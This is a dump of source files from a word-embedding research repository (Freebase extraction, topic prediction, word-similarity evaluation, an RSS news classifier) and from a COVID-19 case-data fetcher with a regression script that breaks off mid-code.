re.compile(r'\\\"(.*)\\\"@en')\n mid_pattern = re.compile(r'<http://rdf.freebase.com/ns/(.*)>')\n fin = gzip.open('../../paper/data/freebase/freebase-rdf-latest.gz.1')\n fout = file('../../paper/data/freebase/mid_name.clean', 'w')\n\n relation = '<http://rdf.freebase.com/ns/type.object.name>'\n language = '@en'\n\n count = 0\n total = 0\n for line in fin:\n arr = line.strip().split('\\t')\n total += 1\n if len(arr) >= 3 and relation in arr[1] and arr[2].endswith(language):\n name = name_pattern.search(arr[2])\n if not name: continue\n name = name.groups()[0]\n mid = mid_pattern.search(arr[0]).groups()[0]\n fout.write('%s\\t%s\\n' % (mid, name))\n fout.flush()\n count += 1\n log(count, inline=False)\n if total % 1000000 == 0:\n log('total:%d' % total)\n\n log('total:%d' % total)\n #if 'type.object.type' in line:\n #fout.write(line)\n #fout.flush()\n #count += 1\n #log(count, inline=False)\n\ndef filter_1_gram():\n name_pattern = re.compile(r'\\\"(.*)\\\"@en')\n mid_pattern = re.compile(r'<http://rdf.freebase.com/ns/(.*)>')\n fin = open('../../paper/data/freebase/alias')\n fout = open('../../paper/data/freebase/alias_1gram', 'w')\n count = 0\n for line in fin:\n arr = line.strip().split('\\t')\n if len(arr) < 3: continue\n name = name_pattern.search(arr[2])\n if not name: continue\n name = name.groups()[0]\n # remain 1 word record\n if len(name.split(' ')) > 1: continue\n mid = mid_pattern.search(arr[0]).groups()[0]\n fout.write('%s\\t%s\\n' % (mid, name))\n count += 1\n if count % 1000 == 0:\n log(count)\n fout.close()\n\ndef load_map(filename):\n id_map = {}\n with open(filename) as fin:\n for line in fin:\n arr = line.strip().split('\\t')\n id_map[arr[0]] = arr[1]\n return id_map\n\ndef alias_to_name(filename):\n count = 1\n log('loading id_map...')\n id_map = load_map('../../paper/data/freebase/id_map.1gram')\n fout = file('../../paper/data/freebase/alias_pair', 'w')\n log('mapping alias...')\n with open(filename) as fin:\n for line in fin:\n arr = line.strip().split('\\t')\n if arr[0] not in id_map: continue\n fout.write('%s\\t%s\\n' % (id_map[arr[0]], arr[1]))\n if count % 1000 == 0:\n log(count)\n fout.close()\n\ndef relation_to_name(filename):\n count = 1\n log('loading id_map...')\n id_map = load_map('../../paper/data/freebase/mid_name')\n fout = file('../../paper/data/freebase/instance.all.name', 'w')\n ferr = file('../../paper/data/freebase/instance.miss.err', 'w')\n log('mapping instances...')\n with open(filename) as fin:\n for line in fin:\n arr = line.strip().split('\\t')\n if arr[1] not in id_map:\n ferr.write('%s\\n' % arr[1])\n continue\n fout.write('%s\\t%s\\n' % (arr[0], id_map[arr[1]]))\n if count % 1000 == 0:\n log(count)\n fout.close()\n ferr.close()\n\ndef split_relation(filename):\n wiki_dict = load_wiki_dict('../../paper/data/wiki/wiki_corpus.vocab')\n count = 1\n fouts = {}\n vocab_in_wiki_count = {}\n with open(filename) as fin:\n for line in fin:\n if count % 10000 == 0:\n log(count)\n count += 1\n arr = line.strip().split('\\t')\n if len(arr) != 2: continue\n relation = arr[0].split('.')\n if relation[0] not in fouts:\n fouts[relation[0]] = file('../../paper/data/freebase/split_wiki_words/%s' % relation[0], 'w')\n vocab_in_wiki_count[relation[0]] = {}\n vocab_in_wiki_count[relation[0]]['total'] = 0\n vocab_in_wiki_count[relation[0]]['hit'] = 0\n # rules to extract entity name\n name = None\n parts = arr[1].split(' ')\n if len(parts) == 1: name = arr[1]\n if len(parts) == 2 and is_version(parts[1]): name = parts[0]\n # rules end\n if not name: continue\n name = name.lower()\n vocab_in_wiki_count[relation[0]]['total'] += 1\n if name in wiki_dict: vocab_in_wiki_count[relation[0]]['hit'] += 1\n else: continue\n fouts[relation[0]].write('%s\\t%s\\t%d\\n' % (arr[0], name, wiki_dict[name]))\n fres = file('./hit_rate', 'w')\n for name in fouts:\n fouts[name].close()\n count = vocab_in_wiki_count[name]\n to_write = '%s\\thit:%d\\ttotal:%d\\trate:%lf\\n' % (name, count['hit'], count['total'], 1.0 * count['hit'] / (count['total'] if count['total'] != 0 else 1))\n print to_write\n fres.write(to_write)\n fres.close()\n\ndef aggregate_topic(path):\n target_topic = [\n \"astronomy\",\n \"biology\",\n \"boats\",\n \"chemistry\",\n \"computer\",\n \"fashion\",\n \"food\",\n \"geology\",\n \"interests\",\n \"language\",\n ]\n fout = file('../../paper/data/srwe_model/freebase.100.relation', 'w')\n for topic in target_topic:\n log('processing %s' % topic)\n with open(os.path.join(path, topic)) as fin:\n for line in fin:\n arr = line.strip().split('\\t')\n if int(arr[2]) <= 100: continue\n fout.write('%s\\t%s\\t%s\\n' % (arr[1], 'type_of_%s' % topic, topic))\n fout.close()\n\ndef main():\n #filter_1_gram()\n #alias_to_name('../../paper/data/freebase/alias_1gram')\n #extract()\n #clean_tag()\n #filter_name()\n #split_relation('../../paper/data/freebase/instance.all.name')\n aggregate_topic('../../paper/data/freebase/split_wiki_words/')\n\nif __name__ == '__main__':\n main()\n" }, { "alpha_fraction": 0.5223081707954407, "alphanum_fraction": 0.5385683178901672, "avg_line_length": 35.810218811035156, "blob_id": "4cb9001cd9f99eceb033996061128e143db55eea", "content_id": "4db94699a1a717e73cf6f57a0b68cac95364cbec", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 10086, "license_type": "no_license", "max_line_length": 164, "num_lines": 274, "path": "/evaluation/topic_prediction.py", "repo_name": "zbhno37/srwe", "src_encoding": "UTF-8", "text": "import sys\nsys.path.append('../src')\nfrom utils import load_w2v_model, similarity, MinSizeHeap, similarity_numpy\nfrom collections import defaultdict\nimport logging\nlogging.basicConfig(format='%(asctime)s\\t%(message)s', level=logging.INFO)\nfrom multiprocessing import Process, Manager\nfrom multiprocessing.managers import BaseManager\n\nclass HeapManager(BaseManager):\n pass\n\nHeapManager.register('MinSizeHeap', MinSizeHeap, exposed = ['push', 'pop', 'sort', 'extend', 'clear', 'get'])\n\ndef add_vector(vec1, vec2):\n return [vec1[i] + vec2[i] for i in range(len(vec1))]\n #return vec1 + vec2\n\ndef minus_vector(vec1, vec2):\n #return [vec1[i] - vec2[i] for i in range(len(vec1))]\n return vec1 - vec2\n\ndef find_similar_topics(vec, model, top_n = 1):\n heap = MinSizeHeap(top_n)\n for word in model:\n if 'type_of_' not in word:\n heap.push((similarity(vec, model[word]), word))\n #heap.push((similarity_numpy(vec, model[word]), word))\n heap.sort()\n return heap.arr\n\ndef get_lc_and_relation(filename):\n count = 0\n relation = set()\n with open(filename) as fin:\n for line in fin:\n count += 1\n relation.add(line.strip().split('\\t')[-1])\n return count, list(relation)\n\ndef find_similar_word_process(vec, model_items, _id, begin, end, top_n, heap):\n heap.clear()\n if begin > len(model_items): return\n if end > len(model_items): end = len(model_items)\n for i in range(begin, end):\n if 'type_of_' not in model_items[i][0]:\n heap.push((similarity(vec, model_items[i][1]), model_items[i][0]))\n #for each in heap.get():\n #print '%d\\t%s' % (_id, each)\n\ndef find_similar_word_multiproc(vec, model_items, heaps, top_n = 1, process_nums = 10):\n size = len(model_items) / process_nums\n # seg_info\n # [a, b)\n seg_info = [0]\n for i in range(process_nums - 1):\n seg_info.append(seg_info[-1] + size)\n seg_info.append(len(model_items))\n processes = []\n for i in range(process_nums):\n processes.append(Process(target=find_similar_word_process, args=(vec, model_items, i, seg_info[i], seg_info[i + 1], top_n, heaps[i])))\n for p in processes:\n p.start()\n for p in processes:\n p.join()\n #merge\n heap = MinSizeHeap(top_n)\n for each in heaps:\n heap.extend(each.get())\n heap.sort()\n return heap.arr\n\ndef topic_prediction(test_file, train_file, model):\n # train_file is to calculate relation vector\n k = len(model['</s>'])\n relation_count = defaultdict(lambda: 0)\n logging.info('calculating relation vectors...')\n with open(train_file) as fin:\n for line in fin:\n h, r, t = line.strip().split('\\t')\n if h not in model or t not in model: continue\n if r not in model: model[r] = [0.0] * k\n for i in range(k):\n model[r][i] += model[t][i] - model[h][i]\n relation_count[r] += 1\n for r in relation_count:\n for i in range(k):\n model[r][i] /= relation_count[r]\n #return topic_prediction_with_relation(test_file, model)\n return topic_prediction_with_relation_multiproc(test_file, model)\n\ndef topic_prediction_with_relation(test_file, model):\n topic_list = [\n \"astronomy\",\n \"biology\",\n \"boats\",\n \"chemistry\",\n \"computer\",\n \"fashion\",\n \"food\",\n \"geology\",\n \"interests\",\n \"language\",\n ]\n prediction_res = {}\n for topic in topic_list:\n prediction_res[topic] = {}\n prediction_res[topic]['correct'] = 0\n # 1 for smooth\n prediction_res[topic]['total'] = 1\n model_items = model.items()\n line_count = 0\n process_nums = 10\n top_n = 3\n\n heapManager = HeapManager()\n heapManager.start()\n heaps = [None] * process_nums\n for i in range(process_nums):\n heaps[i] = heapManager.MinSizeHeap(top_n)\n\n with open(test_file) as fin:\n for line in fin:\n #if line_count % 100 == 0:\n logging.info(line_count)\n line_count += 1\n h, r, t = line.strip().split('\\t')\n if h not in model: continue\n h_r = add_vector(model[h], model[r])\n #candidates = find_similar_topics(h_r, model, top_n=3)\n candidates = find_similar_word_multiproc(h_r, model_items, heaps=heaps, top_n=top_n, process_nums=process_nums)\n for simi, topic in candidates:\n if t == topic:\n prediction_res[t]['correct'] += 1\n break\n prediction_res[t]['total'] += 1\n\n return prediction_res\n\ndef find_similar_word_partly_proc(_id, topic_list, filename, model, begin, end, count_dict, top_n):\n logging.info('process %d start' % _id)\n # not dict(dict())\n # the inner dict can not be sync\n #for topic in topic_list:\n #logging.info('%d, topic:%s' % (_id, topic))\n ##count_dict[topic] = {}\n ##count_dict[topic][1] = 0\n ##count_dict[topic][3] = 0\n ##count_dict[topic][5] = 0\n ##count_dict[topic][0] = 1\n line_count = 0\n process_line = 0\n with open(filename) as fin:\n for line in fin:\n line_count += 1\n if line_count < begin: continue\n if line_count >= end: break\n process_line += 1\n #if process_line > 10: break\n if process_line % 10 == 0:\n logging.info('process %d:%d:%lf%%' % (_id, process_line, 1.0 * process_line / (end - begin) * 100))\n h, r, t = line.strip().split('\\t')\n if h not in model: continue\n h_r = add_vector(model[h], model[r])\n #h_r = model[h] + model[r]\n candidates = find_similar_topics(h_r, model, top_n=top_n)\n for i, each in enumerate(candidates):\n simi, topic = each\n if t == topic:\n if i == 0:\n count_dict['%s_1' % topic] += 1\n count_dict['%s_3' % topic] += 1\n count_dict['%s_5' % topic] += 1\n #count_dict[topic][1] += 1\n #count_dict[topic][3] += 1\n #count_dict[topic][5] += 1\n elif 1 <= i <= 2:\n count_dict['%s_3' % topic] += 1\n count_dict['%s_5' % topic] += 1\n #count_dict[topic][3] += 1\n #count_dict[topic][5] += 1\n elif 3<= i <= 4:\n count_dict['%s_5' % topic] += 1\n #count_dict[topic][5] += 1\n break\n count_dict['%s_0' % t] += 1\n logging.info('process %d finished.' % _id)\n\ndef topic_prediction_with_relation_multiproc(test_file, model):\n total = 0\n process_nums = 10\n top_n = 5\n logging.info('geting line count...')\n total, topic_list = get_lc_and_relation(test_file)\n size = total / process_nums\n seg_info = [0]\n for i in range(process_nums - 1):\n seg_info.append(seg_info[-1] + size)\n seg_info.append(total)\n\n manager = Manager()\n count_dicts = []\n for i in range(process_nums):\n count_dicts.append(manager.dict())\n for topic in topic_list:\n count_dicts[i]['%s_1' % topic] = 0\n count_dicts[i]['%s_3' % topic] = 0\n count_dicts[i]['%s_5' % topic] = 0\n count_dicts[i]['%s_0' % topic] = 0\n processes = []\n for i in range(process_nums):\n processes.append(Process(target=find_similar_word_partly_proc, args=(i, topic_list, test_file, model, seg_info[i], seg_info[i + 1], count_dicts[i], top_n)))\n for p in processes:\n p.start()\n for p in processes:\n p.join()\n\n prediction_res = {}\n for topic in topic_list:\n prediction_res[topic] = {}\n prediction_res[topic][1] = 0\n prediction_res[topic][3] = 0\n prediction_res[topic][5] = 0\n prediction_res[topic][0] = 0\n\n for count_dict in count_dicts:\n for topic in topic_list:\n for i in [0, 1, 3, 5]:\n key = '%s_%d' % (topic, i)\n prediction_res[topic][i] += count_dict[key]\n\n for topic in topic_list:\n if prediction_res[topic][0] == 0:\n prediction_res[topic][0] = 1\n return prediction_res\n\ndef main():\n has_relation = False\n model_path = '../../paper/data/srwe_model/wiki_small.w2v.model'\n #model_path = '../../paper/data/srwe_model/wiki_small.w2v.model'\n logging.info('loading model...')\n model = load_w2v_model(model_path, logging, nparray=False)\n train_file = '../../paper/data/srwe_model/freebase.100.relation.train'\n test_file = '../../paper/data/srwe_model/freebase.100.relation.test'\n if has_relation:\n #prediction_res = topic_prediction_with_relation(test_file, model)\n prediction_res = topic_prediction_with_relation_multiproc(test_file, model)\n else:\n #prediction_res = topic_prediction(test_file, train_file, model)\n prediction_res = topic_prediction(test_file, train_file, model)\n\n total_count = {}\n for i in [0, 1, 3, 5]:\n total_count[i] = 0\n\n for topic in prediction_res:\n res = prediction_res[topic]\n print 'topic:%s, total:%d' % (topic, res[0])\n total_count[0] += res[0]\n for i in range(1, 6):\n if i in res:\n total_count[i] += res[i]\n print 'top:%d, correct:%d, total:%d, correct rate:%lf' % (\n i, res[i], res[0], 1.0 * res[i] / res[0])\n #print 'correct:%d, total:%d, correct rate:%lf' % (res['correct'],\n #res['total'],\n #1.0 * res['correct'] / res['total'])\n print 'total'\n for i in range(1, 6):\n if i in total_count:\n print 'top:%d, correct:%d, total:%d, correct rate:%lf' % (\n i, total_count[i], total_count[0], 1.0 * total_count[i] / total_count[0])\nif __name__ == '__main__':\n main()\n" }, { "alpha_fraction": 0.5840368270874023, "alphanum_fraction": 0.6039907932281494, "avg_line_length": 32.410255432128906, "blob_id": "4f0b28e6450225999a13a28bd42d0201d29dd135", "content_id": "6a5957beb75bb222eeee85600b1a99a804ddac51", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1303, "license_type": "no_license", "max_line_length": 92, "num_lines": 39, "path": "/evaluation/word_similarity.py", "repo_name": "zbhno37/srwe", "src_encoding": "UTF-8", "text": "import scipy.stats\nimport sys\nsys.path.append('../src')\nfrom utils import load_w2v_model, similarity\n\nimport logging\nlogging.basicConfig(format='%(asctime)s\\t%(message)s', level=logging.INFO)\nimport random\n\ndef load_standard(filename):\n word_pair = []\n simi = []\n with open(filename) as fin:\n for line in fin:\n if line.strip().startswith('#'): continue\n arr = line.strip().split('\\t')\n if len(arr) != 4: continue\n word_pair.append((arr[1].lower(), arr[2].lower()))\n simi.append(float(arr[3]))\n return word_pair, simi\n\ndef main():\n word_pair, simi = load_standard('./wordsim353_annotator1.txt')\n #model = load_w2v_model('../../paper/word2vec/vec.txt', logging)\n model_path = '../../paper/data/srwe_model/wiki_small.w2v.r.0.001.model'\n model = load_w2v_model(model_path, logging)\n new_simi = []\n for pair in word_pair:\n if pair[0] not in model or pair[1] not in model:\n logging.error('%s not in vocab.' % pair[0] if pair[0] not in model else pair[1])\n new_simi.append(0.0)\n continue\n new_simi.append(similarity(model[pair[0]], model[pair[1]]))\n print model_path\n res = scipy.stats.spearmanr(simi, new_simi)\n print res\n\nif __name__ == '__main__':\n main()\n" }, { "alpha_fraction": 0.5418410301208496, "alphanum_fraction": 0.560669481754303, "avg_line_length": 25.5, "blob_id": "487eba43c78a59102b10eace418fa2dc2db2c7bb", "content_id": "2c3a17c3616ecd46a2d035c3fafeb7543f8080db", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 478, "license_type": "no_license", "max_line_length": 74, "num_lines": 18, "path": "/gen_data/preprocess_corpus.py", "repo_name": "zbhno37/srwe", "src_encoding": "UTF-8", "text": "import re\nimport logging\n\nlogging.basicConfig(format='%(asctime)s\\t%(message)s', level=logging.INFO)\n\npattern = re.compile(r'[\\'\\\"\\\\,./;\\[\\]<>?:\\{\\}|!~`@#$^&*()_]')\n\nfout = file('../../paper/data/nytimes/nytimes_corpus', 'w')\n\ncount = 0\nwith open('../../paper/data/nytimes/nytimes_content') as fin:\n for line in fin:\n fout.write('%s' % (pattern.sub(' ', line.lower())))\n if count % 100000 == 0:\n logging.info(count)\n count += 1\n\nfout.close()\n\n" }, { "alpha_fraction": 0.6171208620071411, "alphanum_fraction": 0.6289567947387695, "avg_line_length": 37.2315788269043, "blob_id": "50f74230627f8d61a010dbd627ea658d0bbe19ea", "content_id": "3c05bcb68fd78b4e1376e379d8358f0db41e2df8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3633, "license_type": "no_license", "max_line_length": 149, "num_lines": 95, "path": "/demo/rss_news/rss/management/commands/fetch_rss_update.py", "repo_name": "zbhno37/srwe", "src_encoding": "UTF-8", "text": "from django.core.management.base import BaseCommand, CommandError\nfrom rss.models import RSSItem, ClassItem, Subscription, News\nimport time\nfrom dateutil import parser as time_parser\nimport feedparser\nimport logging\nfrom sklearn.externals import joblib\nlogger = logging.getLogger('django_logger')\nfetch_logger = logging.getLogger('fetch_logger')\nimport sys\n#sys.path.append('../../../../../src')\n#sys.path.append('../../../../../evaluation/')\nsys.path.append('/home/zhangbaihan/srwe/src')\nsys.path.append('/home/zhangbaihan/srwe/evaluation/')\nfrom text_classification import clean_text, get_vec_len, get_vec_from_words\nfrom utils import load_w2v_model\n\nclfs = {}\nw2v_model = {}\ndimension = 0\n\ndef classfy(w2v_model, clfs, text):\n fetch_logger.info('classfying:text:%s' % text)\n vec = get_vec_from_words(clean_text(text.decode('utf-8')), w2v_model, dimension)\n pred_res = []\n for label in clfs:\n pred_res.append((clfs[label].predict_proba(vec.reshape(1, -1))[0][1], label))\n sorted_pred = sorted(pred_res, key=lambda x: x[0], reverse=True)\n fetch_logger.info('label:%s' % sorted_pred[0][1])\n return sorted_pred[0][1]\n\ndef format_time(secs):\n return time.strftime('%Y-%m-%d %H:%M:%S', secs)\n\ndef get_classes():\n labels = {}\n classes = ClassItem.objects.all()\n for item in classes:\n labels[item.title.encode('utf-8')] = item\n return labels\n\ndef load_models(labels):\n global clfs, w2v_model, dimension\n path = '/home/zhangbaihan/srwe/evaluation/clf_model/%s.model'\n model_file = '/home/zhangbaihan/paper/data/srwe_model/wiki_small.w2v.100.r.0.00001.s.0.00009.model'\n if not clfs:\n keys = labels.keys()\n fetch_logger.info('loadding LR models...')\n for label in keys:\n fetch_logger.info('loadding %s.model ...' % label)\n clfs[label] = joblib.load(path % label)\n if not w2v_model:\n fetch_logger.info('loadding w2v model...')\n w2v_model = load_w2v_model(model_file, None, nparray=True)\n dimension = get_vec_len(w2v_model)\n\ndef fetch_rss_update():\n fetch_logger = logging.getLogger('fetch_logger')\n fetch_logger.info('#########fetch cron begin...###########')\n labels = get_classes()\n if not clfs or not w2v_model: load_models(labels)\n\n rss_items = RSSItem.objects.all()\n for item in rss_items:\n url = item.url\n update_time = item.update_time\n #update_time = item.update_time.timetuple()\n latest = update_time\n fetch_logger.info('%s,%s' % (url, update_time))\n parser = feedparser.parse(url)\n for entry in parser.entries:\n published_datetime = time_parser.parse(entry.published)\n if latest < published_datetime:\n latest = published_datetime\n if update_time >= published_datetime:\n break\n title = entry['title'].encode('utf-8')\n abstract = entry['summary'].encode('utf-8')\n url = entry['link'].encode('utf-8')\n # Do classification\n label = classfy(w2v_model, clfs, '%s %s' % (title, abstract))\n class_item = labels[label]\n new_news = News(rss_id=item, pub_time=published_datetime, title=title, abstract=abstract, content='', news_link=url, class_id=class_item)\n new_news.save()\n\n if latest > update_time:\n item.update_time = latest\n item.save()\n fetch_logger.info('#########fetch cron end###########')\n #return HttpResponse('successfully')\n\nclass Command(BaseCommand):\n def handle(self, *args, **options):\n fetch_rss_update()\n #print 'hello world'\n\n" }, { "alpha_fraction": 0.6478617191314697, "alphanum_fraction": 0.6487715840339661, "avg_line_length": 22.89130401611328, "blob_id": "7ec33c56e4f1ec748e4c57d065f1f718aa36b009", "content_id": "20558a514a5bc357b0b2b2e9d9373e05a8813716", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1099, "license_type": "no_license", "max_line_length": 70, "num_lines": 46, "path": "/src/RelationalData.h", "repo_name": "zbhno37/srwe", "src_encoding": "UTF-8", "text": "#ifndef RELATIONALDATA_H\n#define RELATIONALDATA_H\n\n#include <unordered_map>\n#include <unordered_set>\n#include <string>\n#include <map>\n#include <fstream>\n#include <sstream>\n#include <vector>\n#include <iostream>\nusing namespace std;\n\nclass RelationalData {\npublic:\n unordered_map<string, vector<pair<string, string>>> dataset;\n unordered_map<string, int> relations;\n\n RelationalData(const string& filename) {\n ReadData(filename);\n }\n\n void ReadData(const string& filename);\n\n};\n\nvoid RelationalData::ReadData(const string& filename) {\n // file format\n // head relation tail (instance relation topic)\n // example\n // dos type_of_computer(or operating_system) computer\n //\n ifstream fin(filename.c_str());\n string line, head, relation, tail;\n while (getline(fin, line)) {\n istringstream iss(line);\n iss >> head >> relation >> tail;\n dataset[head].push_back(pair<string, string>(relation, tail));\n relations[relation]++;\n //if (dataset[head].size() > 1)\n //cout << head << endl;\n }\n fin.close();\n}\n\n#endif\n" }, { "alpha_fraction": 0.5677808523178101, "alphanum_fraction": 0.5854224562644958, "avg_line_length": 34.31147384643555, "blob_id": "b66e9e5ac7c3c676c46afb765b47a171c86cb373", "content_id": "4b52df5d5dcf0ed51c139bff0fc55e4e1a8733bf", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2154, "license_type": "no_license", "max_line_length": 86, "num_lines": 61, "path": "/gen_data/nytimes/clean_nytimes.py", "repo_name": "zbhno37/srwe", "src_encoding": "UTF-8", "text": "from collections import defaultdict\nimport sys\nsys.path.append('../../evaluation/')\nsys.path.append('../../src/')\nfrom text_classification import clean_text\n\ndef count_category():\n category_count = defaultdict(lambda: 0)\n with open('./nytimes.2010_2015') as fin:\n for line in fin:\n arr = line.strip().split('\\t')\n if len(arr) != 5: continue\n category_count[arr[1]] += 1\n\n sorted_category = sorted(category_count.items(), key=lambda x: x[1], reverse=True)\n for category, count in sorted_category:\n print category, count\n\ndef count_category_and_char():\n category_count = defaultdict(lambda: 0)\n category_word_count = defaultdict(lambda: 0)\n with open('./news_corpus') as fin:\n for line in fin:\n arr = line.strip().split('\\t')\n category_count[arr[1]] += 1\n #category_word_count[arr[1]] += len(clean_text(arr[0].decode('utf-8')))\n sorted_category = sorted(category_count.items(), key=lambda x: x[1], reverse=True)\n #print ' & '.join(map(lambda x: '%d' % x[1], sorted_category))\n for category, count in sorted_category:\n print '\\\\hline'\n print '%s & %d \\\\\\\\' % (category, count)\n\ndef load_category(filename):\n category_map = {}\n with open(filename) as fin:\n for line in fin:\n arr = line.strip().split('\\t')\n for cate in arr[1:]:\n category_map[cate] = arr[0]\n return category_map\n\n\ndef extract_news():\n category_map = load_category('./category_mapping.txt')\n category_count = defaultdict(lambda: 0)\n fout = file('./news_corpus', 'w')\n with open('./nytimes.2010_2015') as fin:\n for line in fin:\n arr = line.strip().split('\\t')\n if len(arr) != 5: continue\n category = category_map.get(arr[1], None)\n if not category: continue\n fout.write('%s %s\\t%s\\n' % (arr[2], arr[4], category))\n category_count[category] += 1\n for category in category_count:\n print category, category_count[category]\n fout.close()\n\nif __name__ == '__main__':\n #extract_news()\n count_category_and_char()\n" } ]
24
SimonTheWang/coronavirusGrapher
https://github.com/SimonTheWang/coronavirusGrapher
6f9c4a736ced4aae8d13c77b904cb4a92fe4c4fd
e3b88ce8ddf1c751686bb8ccca8b541565eabbfa
52e7672212400c35ce78bf6732c8e2c9b06aa03f
refs/heads/master
2023-04-01T14:26:16.391458
2021-04-05T14:54:22
2021-04-05T14:54:22
266,222,985
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6187789440155029, "alphanum_fraction": 0.6256296634674072, "avg_line_length": 40.38461685180664, "blob_id": "68f0ce0028741002ee53eef4b0434b0600440651", "content_id": "76a786000355ba876d9cb18cb4cc87a28ce2b352", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4963, "license_type": "no_license", "max_line_length": 318, "num_lines": 117, "path": "/frontend/getData.py", "repo_name": "SimonTheWang/coronavirusGrapher", "src_encoding": "UTF-8", "text": "from datetime import datetime\r\nimport requests\r\nimport json\r\n\r\nAPIreference = ' refer to https://documenter.getpostman.com/view/10808728/SzS8rjbc?version=latest for more info'\r\nURL = \"https://api.covid19api.com/\"\r\n\r\ndef getCountries():\r\n ''' searches covid19api for available countries in their database '''\r\n response = requests.get(URL+'countries')\r\n data = response.json()\r\n return data\r\n\r\ndef displayCountries(data):\r\n ''' returns countries from getCountries as a list '''\r\n allCountries = []\r\n for country in data:\r\n allCountries.append(country[\"Country\"])\r\n data = ', '.join(allCountries)\r\n return data\r\n \r\ndef checkCountry(country):\r\n ''' Checks for validity of inputted Country, \r\n note that some countries marked as 'available' may return an error \r\n because the api does not currently have information on them.\r\n This function also returns the slug of a given country to make its request to the api easier'''\r\n for place in requests.get(URL+'countries').json():\r\n for each in place.items():\r\n if country.lower() == place['Country'].lower() or country.lower() == place['Slug'].lower() or country == place['ISO2'].lower():\r\n return place['Slug']\r\n raise ValueError ('cannot find response, your value \"' + country + '\" is not a valid country' + APIreference)\r\n\r\ndef getData(country, status = 'confirmed'):\r\n ''' makes a request to the api, using user inputs and checkCountry slug.\r\n returns a dictionary containing all the information from that area from day one of the outbreak there'''\r\n countryInput = 'country/' + checkCountry(country)\r\n if status == '1' or status == 'confirmed' or status == '':\r\n status = 'confirmed'\r\n elif status == '2' or status == 'recovered':\r\n status = 'recovered'\r\n elif status == '3' or status == 'deaths':\r\n status = 'deaths'\r\n else:\r\n raise ValueError ('Value \"'+ status + '\" is invalid, please enter a number between 1 and 3')\r\n\r\n\r\n status = 'status/' + status.lower()\r\n parameters = {\r\n }\r\n\r\n response = requests.get(URL+'dayone'+'/'+countryInput+'/'+status+'/'+'live',parameters)\r\n \r\n data = response.json()\r\n if data:\r\n return data\r\n else:\r\n raise ValueError ('Data for ' + country +' parsed as ' + countryInput +' is not found')\r\n\r\ndef searchProvince(data):# dictionary with keys '' or province names\r\n ''' Using data in getData(), returns a dictionary containing \r\n key-value pairs of Provinces and their cities, which are a set, for a country.\r\n If not present, the province will be replaced by '' '''\r\n place = {}\r\n place[''] = set()\r\n for datapoint in data:\r\n if datapoint['Province'] and datapoint['Province'] not in place.keys():\r\n place[datapoint['Province']] = set()\r\n\r\n if datapoint['City']:\r\n if place[datapoint['Province']]:\r\n place[datapoint['Province']].add(datapoint['City'])\r\n else:\r\n place[''].add(datapoint['City'])\r\n return place\r\n\r\ndef parseData(data,province='', city = ''):\r\n ''' Using data from getData() and user data, this returns a dictionary containing\r\n data on the given area, including the number of cases per day and the total cases per day, \r\n and returns an error if the province or city do not match with the country.'''\r\n days = []\r\n dates = []\r\n totalCases = []\r\n casesPerDay = []\r\n info = {}\r\n count = 0\r\n info['country'] = data[0]['Country'].capitalize()\r\n info['province'] = province.capitalize()\r\n info['city'] = city.capitalize()\r\n for subject in data:\r\n #appends data only for corresponding province-city\r\n if (((province and city and province.title() == subject['Province'].title() and city.title() == subject['City'].title())) or ((province and not city) and (province.title() == subject['Province'].title())) or ((not province and city and city.title() == subject['City'].title())) or (not province and not city)):\r\n totalCases.append(subject['Cases'])\r\n count+=1\r\n days.append(count)\r\n dates.append(subject['Date'])\r\n \r\n if count ==0:\r\n raise ValueError ( 'Your input of either city or province is invalid, the database does not contain \"'+ province+ city + '\" for ' + info['country'] + APIreference)\r\n info['totalCases'] = totalCases\r\n info['days'] = days\r\n info['dates'] = dates\r\n info['type'] = subject['Status']\r\n info['day1'] = ''.join((data[0])['Date'].split())[:-10]\r\n\r\n\r\n\r\n\r\n previousTotalCases = totalCases.copy()# computes cases per day using total cases \r\n previousTotalCases.insert(0,0)\r\n afterTotalCases = totalCases.copy()\r\n afterTotalCases.append(0)\r\n for day1,day2 in zip(previousTotalCases,afterTotalCases):\r\n casesPerDay.append(day2-day1)\r\n casesPerDay.pop()\r\n info['casesPerDay'] = casesPerDay \r\n\r\n return info\r\n\r\n\r\n" }, { "alpha_fraction": 0.6417959928512573, "alphanum_fraction": 0.6569824814796448, "avg_line_length": 35.345680236816406, "blob_id": "30127a26b1d415b0601c39805e35e8c05d846af3", "content_id": "8e345a80e150894aa44fbf71e089e672cca01873", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3029, "license_type": "no_license", "max_line_length": 225, "num_lines": 81, "path": "/frontend/machinelearning.py", "repo_name": "SimonTheWang/coronavirusGrapher", "src_encoding": "UTF-8", "text": "from getData import *\r\nimport pandas as pd \r\nimport numpy as np \r\nimport matplotlib.pyplot as plt \r\nimport seaborn as seabornInstance \r\nfrom sklearn.model_selection import train_test_split \r\nfrom sklearn.linear_model import LinearRegression\r\nfrom sklearn.preprocessing import PolynomialFeatures\r\nfrom sklearn import metrics\r\n\r\nLIMIT = 1000\r\ndef machineLearning(data):\r\n print('request received')\r\n x = data['days'].copy()\r\n y1 = data['totalCases'].copy()\r\n y2 = data['casesPerDay'].copy()\r\n\r\n x_new = np.array(x) # Transforms list into an array\r\n y2_new = np.array(y2)\r\n\r\n x_new2 = x_new.reshape(-1, 1) # Transforms 1d array into a 2d array\r\n y2_new = y2_new.reshape(-1, 1)\r\n\r\n\r\n\r\n poly_reg = PolynomialFeatures(degree = 2) # Degree 2 polynomial is a parabola. We have tried using different degrees, but higher degrees usually makes the function vary a lot more, thus being more inacurate\r\n x_poly = poly_reg.fit_transform(x_new2) # Most commands related to polynomial regression were taken from here: https://towardsdatascience.com/a-beginners-guide-to-linear-regression-in-python-with-scikit-learn-83a8f7ae2b4f\r\n pol_reg = LinearRegression() # Adopted the commands for my use\r\n pol_reg.fit(x_poly, y2_new)\r\n\r\n\r\n future_x = [] # List for future dates\r\n predicted_y_perDay = [] # Predicted new cases per day\r\n predicted_y_total =[] # Predicted total cases\r\n\r\n # Machine learning part\r\n i = 1 \r\n while 